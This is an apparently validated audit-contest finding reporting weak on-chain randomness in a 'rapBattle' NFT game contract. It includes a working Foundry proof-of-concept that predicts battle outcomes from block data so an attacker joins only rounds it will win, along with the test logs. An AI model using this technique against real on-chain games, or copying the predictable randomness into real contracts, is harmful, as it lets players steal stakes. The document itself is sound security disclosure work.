Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

uses a weak PRNG

Summary

Attackers can calculate the random number in advance, join the game when they foresee a win, and abandon the round when they foresee a loss.

Vulnerability Details

In the rapBattle contract, a weak random number is used in the _battle function.

uint256 random = uint256(
keccak256(
abi.encodePacked(block.timestamp, block.prevrandao, msg.sender)
)
) % totalBattleSkill;

Poc

function testAttackPRNG() external {
vm.startPrank(user);
oneShot.mintRapper();
oneShot.approve(address(streets), 0);
streets.stake(0);
vm.stopPrank();
vm.startPrank(challenger);
oneShot.mintRapper();
oneShot.approve(address(streets), 1);
streets.stake(1);
vm.stopPrank();
vm.warp(4 days + 1);
vm.prank(user);
streets.unstake(0);
vm.prank(challenger);
streets.unstake(1);
vm.startPrank(user);
cred.approve(address(rapBattle), 4);
oneShot.approve(address(rapBattle), 0);
vm.stopPrank();
vm.prank(challenger);
cred.approve(address(rapBattle), 4);
bool is_can_win = true;
for (uint i = 0; i < 4; i++) {
console.log("before battle user balance: ", cred.balanceOf(user));
console.log(
"before battle challenger balance: ",
cred.balanceOf(challenger)
);
if (is_can_win) {
vm.startPrank(user);
console.log("user deposit to rapbattle: 1");
oneShot.approve(address(rapBattle), 0);
rapBattle.goOnStageOrBattle(0, 1);
vm.stopPrank();
}
vm.warp(4 days + i + 9);
vm.startPrank(challenger);
uint256 totalBattleSkill = rapBattle.getRapperSkill(0) +
rapBattle.getRapperSkill(1);
uint256 random = uint256(
keccak256(
abi.encodePacked(
block.timestamp,
block.prevrandao,
challenger
)
)
) % totalBattleSkill;
if (random > rapBattle.getRapperSkill(0)) {
is_can_win = true;
console.log("will win, join the game!");
rapBattle.goOnStageOrBattle(1, 1);
} else {
console.log("will fail, skip the game!");
is_can_win = false;
}
vm.stopPrank();
console.log("after user balance: ", cred.balanceOf(user));
console.log(
"after challenger balance: ",
cred.balanceOf(challenger)
);
console.log("\n");
}
}

result:

[PASS] testAttackPRNG() (gas: 872417)
Logs:
before battle user balance: 4
before battle challenger balance: 4
user deposit to rapbattle: 1
will win, join the game!
after user balance: 3
after challenger balance: 5
before battle user balance: 3
before battle challenger balance: 5
user deposit to rapbattle: 1
will win, join the game!
after user balance: 2
after challenger balance: 6
before battle user balance: 2
before battle challenger balance: 6
user deposit to rapbattle: 1
will fail, skip the game!
after user balance: 1
after challenger balance: 6
before battle user balance: 1
before battle challenger balance: 6
will fail, skip the game!
after user balance: 1
after challenger balance: 6

Impact

This will result in the challenger always winning

Tools Used

Foundry

Recommendations

use chainlink vrf generate rand number

Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Randomness

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.